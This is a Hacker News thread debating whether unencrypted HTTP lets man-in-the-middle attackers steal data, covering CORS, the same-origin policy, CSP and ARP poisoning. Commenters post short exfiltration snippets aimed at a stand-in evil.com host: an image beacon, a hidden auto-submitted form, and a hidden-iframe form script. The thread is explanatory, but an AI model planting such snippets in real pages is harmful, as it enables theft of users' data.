Hacker News new | past | comments | ask | show | jobs | submit login




If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it.

Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=...".

Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.


CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack.

> Also, the attacker could inject <img> tags

First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data to append as the URI query string. Third, the image would need to be injected after the user has manually entered information to the site, which eliminates static images in the HTML source. Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser.

> Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to

No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.


>CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack.

The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.)

> First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets.

The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed.

> Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser.

Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off.

>No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.

(I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.)

If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)


> The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it.

Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.

In order for this attack to work evil.com needs to be added to the CORS list in the http header and JavaScript needs to be inserted into the page body to make XHR calls to the evil.com domain.

> Did you test this on HN?

I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.

---

All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.

Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic. The benefit of a man in the middle attack is that the attacker is in the encrypted tunnel between the two end points reading data that is otherwise encrypted and thereby voiding any benefit of encryption.

Modifying traffic is less trivial than reading traffic. It is certainly less valuable when there are security conventions in place to ensure end point authenticity, as in limited to only locations that are available by address and policy.

> I don't mean to brag, but just to point out a possibly relevant credential:

Don't care. I myself have found and reported a critical flaw in V8 that broke recursive function access under certain conditions. I don't remember when the resolution was released to V8, but it was first available to Node with 4.2.4 on 2015-12-23. All prior versions of V8 were impacted.

> If an attacker MITMs yoursite.com and modifies the javascript

And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy yet everybody says its trivial. If you really want to brag and get another 4 digit bug bounty then prove that.


if evil.com is listed in the CORS http header from the legitimate domain.

That's not how CORS works; the header is read from the domain being called from JavaScript, not from the domain where the JavaScript came from. So in this case, the injected JS will call evil.com, and so the CORS headers will be read from evil.com.


>Only if the page is originally requested from evil.com or if evil.com is listed in the CORS http header from the legitimate domain.

You have CORS backwards. Domains give other domains permissions to access them in CORS. I think you're thinking of Content-Security-Policy here (which lets a domain specify other domains that may be interacted with from the domain), but I've already mentioned a number of issues with it (the first being that a MITM can just remove that header).

>I tested it on a couple of sites both with http and https. It is not a valid vector of attack. Don't take my word for it. Try it.

If you open example.com and run this in the console:

    (new Image).src = 'https://news.ycombinator.com/y18.gif?userdata=123'
then an HTTP(S) request is triggered. The operator of that domain's server can see a request happened and see the userdata parameter. (If you do it with a URL that doesn't respond with an image, then you may see a warning in the console like "Cross-Origin Read Blocking (CORB) blocked cross-origin response ...", but that warning only means that example.com doesn't get to read the response. The request still happened and the attacker already leaked the userdata.)

>All these technical conversations are really a red herring based upon the untested assumption that modification of page traffic is trivial if the page is served over HTTP. While this is possible it isn't trivial and requires multiple stages of compromise.

If the attacker is the ISP, or controls a wifi router that victims are using, then it's trivial[0].

>Typically man in the middle attacks refer to encrypted traffic, such as HTTPS, instead of plain text traffic.

Wasn't this entire comment chain started from you saying that HTTPS was unnecessary in some certain situation? Everyone is responding to you about attacks that are possible if you decide not to use HTTPS. I think we've lost the plot if you're going to interpret these attacks as if your site is using HTTPS.

> And how would you do that? I have not seen anybody prove they can both MiTM a production site and modify the data in a way that breaks same origin policy

Easy: run a public wireless router (or run an ISP) that people use to connect to HTTP sites. If you want, you can append some code to any javascript file coming through to POST the contents of localStorage (and indexeddb, etc) to a page on the same domain (and that request will go through you, so you see the data). You filter out any Content-Security-Policy headers that might restrict the page from making ajax connections to itself. There's only one domain involved, so same origin policy doesn't affect anything at all in this situation.

[0] http://www.ex-parrot.com/pete/upside-down-ternet.html


There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>.

In general terms, you can often write cross-origin, but you can't read.


A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack.

The page address is the web's equivalent of physical security. If you cannot trust that there is no security.


Put it in an iframe, then. No URL change, no page change.

In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.


How would that help? See this: https://news.ycombinator.com/item?id=17861667


And even more stealthily, an iframe with display: none.


> A form submission would refresh the page to the evil domain.

The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.


The iframe is still limited by same origin. The browser won’t let you cross the frames border if the domains are different. There is no attack there


In the form case that's easy:

<script> var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f); // note that the iframe has now synchronously loaded about:blank, which is treated as same-origin var f_doc = f.contentDocument; f_doc.innerHTML = "<form…></form>"; f_doc.querySelector("form").submit(); f_doc = null; // allow the old document to be GC'd </script>

The fact the iframe navigates to a cross-origin page (and f.contentDocument will then be null) is irrelevant, because the data loss has already happened.


Did you try that code? I tried it in the browser console on this very page and it throws a security error in Firefox. It throws a null error in Chrome, so I modified the code so that the form actually has a method and an action, but it still fails. Chrome throws valid error messaging if the iframe action is not https but the actual page is. Otherwise Chrome still throws an error, but the response is not intelligible if the domain has no HTTP content security header. If the site has a content security header then the error message is valid:

  Refused to display 'https://www.cnn.com/' in a frame because an ancestor violates the following Content Security Policy directive: "frame-ancestors 'self' https://*.cnn.com:* http://*.cnn.com https://*.cnn.io:* http://*.cnn.io:* *.turner.com:* courageousstudio.com".
Cross origin still applies. This is not something the browser will let you bypass.

Here is the code I tested with:

  var f = document.createElement("iframe"); f.style.display = "none"; document.body.appendChild(f);var f_doc = f.contentDocument; f_doc.getElementsByTagName("body")[0].innerHTML = "<form method='post' action='https://cnn.com'></form>"; f_doc.getElementsByTagName("body")[0].getElementsByTagName("form")[0].submit(); f_doc = null;
I know everybody on here is a CCIE, CISSP, and a client side JavaScript expert, but I promise none of these violations work. If they did work the malicious actor would be stealing far more than simple form data and the web would be completely broken.

HTTPS is important because it prevents data from moving across the wire as plain text for everybody to see. It isn't magic.

https://en.wikipedia.org/wiki/Content_Security_Policy


That isn't the SOP stopping this from working—it's CSP.

And CSP vitally is opt-in: if I've performed a MITM attack on example.com I can send whatever CSP header I want, and I obviously control evil.com and therefore can send whatever CSP header I want there.

There are two things that stop that (from here to https://cnn.com) from working: firstly, HN sets:

    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://cdnjs.cloudflare.com/; frame-src 'self' https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline'
The vital part here is "frame-src 'self' https://www.google.com/recaptcha/": this allows only two sources to be embedded within a frame (the current origin, i.e., https://news.ycombinator.com/ and the exact path https://www.google.com/recaptcha/).

I can't actually see that CSP header you're getting on https://cnn.com/ (probably because I immediately get redirected to their international edition, which sets a very different CSP header!), but your quote of the error message says what you need to know: it sets a "frame-ancestors" policy (i.e., it can't be put inside a frame except from those sources).

But again—CSP is opt-in, if I control http://example.com and http://evil.com (either directly or through a MITM) I can control what CSP header gets sent on both and therefore CSP provides no defence against such an attack (it does, however, provide a defence-in-depth against XSS and similar attacks, as it makes such an attack as this impossible).

As some evidence the SOP doesn't prevent form submission: https://developer.mozilla.org/en-US/docs/Web/Security/Same-o... says "Cross-origin writes are typically allowed. Examples are links, redirects and form submissions."

If you want more detail about such a thing working, you can follow the form submission algorithm in all of its gory detail: https://html.spec.whatwg.org/multipage/form-control-infrastr...

If you want my promise, as someone who's worked on browsers for around a decade, often around JS and DOM, and dealt with some of the triaging of crossfuzz issues, this absolutely does not violate the SOP and does work with no CSP headers in use.


SOP has the security properties of a piece of wet cardboard. That is, most attackers will refrain because punching wet cardboard gets them wet and covered in slimy cardboard, some will punch it extra hard for the same reasons.


How is the same origin policy helping when the attacker is impersonating your domain to the target?


How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.


DNS cache poisoning happens at a surprising rate. I had Verizon FIOS's DNS serve the wrong IP address for "www.google-analytics.com" before, for over 6 hours. The IP they returned for that hostname was located in Isreal, and was serving up malware in the analytics.js script on any page that included it.

Luckily www.google-analytics.com is HSTS preloaded, and the cert the attacker served wasn't signed, so the request was blocked.

But now imagine that instead of doing that to www.google-analytics.com, they did it to yoursite.com, but you don't have HTTPS enabled, so they are free to send whatever scrips they want to your users, return whatever data they want to their server (which the users's computer thinks is yoursite.com), and can even do a 301 redirect to their own domain after the initial attack to make sure they can keep unsuspecting victims under their control for long after their DNS cache poisoning gets fixed.


They would need configuration access to a router in the path to perform DNS actions in order to accomplish this.

Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets.

Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.


ARP cache poisoning occurs at the switch not the router. It is an awesome form of attack, but access to the switch and the availability of that compromise are limited in scope. A single switch can only have so many machines connected even with VLANs. It also requires access from within the local LAN.

I really don't think anybody is thinking of ARP poisoning when all these comments here mention public facing MiTM attacks merely because a page is served with HTTP instead of HTTPS. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.


ARP poisoning is just an example of a very simple and easy attack that can affect anyone that ever uses a public hotspot - on a cafe, university, workplace, etc.

Another possibility - compromising home routers: https://arstechnica.com/information-technology/2018/05/hacke...

Other possible attacks would be to compromise an internal router at an office (affecting everyone up to the CEO), controlling a VPN or Tor exit node, etc.

None of these give you the possibility of creating your own cert, but they do give you enough MITM access to fully compromise an HTTP site.

Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.

The attack works in the sense that the traffic starts flowing through the attacker's machine, but the attacker is still prevented from changing anything in the page. That's the whole point of SSL/TLS.



CSRF works the same whether the site is served via HTTP or HTTPS. CSRF attacks the server from the client, so HTTPS doesn't protect from this. HTTPS is an end-to-end encrypted tunnel.


It's trivial to hijack an unencrypted connection to inject anything.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: